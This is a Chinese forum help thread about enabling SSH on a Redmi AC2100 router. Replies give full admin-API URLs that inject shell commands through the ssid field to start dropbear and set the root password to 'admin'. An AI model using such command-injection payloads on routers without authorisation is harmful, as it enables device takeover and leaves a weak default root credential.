连不上红米ac2100的ssh怎么办啊

吊灯上的巨蟒

昨天折腾了一晚上的 #Redmi路由器AC2100# 已经降级注入漏洞指令开启ssh好多次了，就是连不上ssh，怎么办啊？集美们 #路由器#
MoTTY Error
Unable to open connection to http
Host does not exist

航校门口二楼修

1. 开ssh
   
2. http://192.168.31.1/cgi-bin/luci/;stok=改自己的stok/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B
   
3. 改密码
   
4. http://192.168.31.1/cgi-bin/luci/;stok=改自己的stok/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20echo%20-e%20'admin%5Cnadmin'%20%7C%20passwd%20root%3B

复制代码

吊灯上的巨蟒

航校门口二楼修 发表于 2023-4-18 12:37

没有用啊，注入漏洞返回0成功了，可是还是显示

会飞鱼王

降级到尾号为miwifi_rm2100_firmware_d6234_2.0.7.bin，多注入几次，就成功了，我也是弄了多次
http://192.168.31.1/cgi-bin/luci/;stok={{刚刚的stok}}/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B


http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20%E2%80%99s%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg%E2%80%99%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B



成功后就可以直接SSH连接了，默认的账号root，密码admin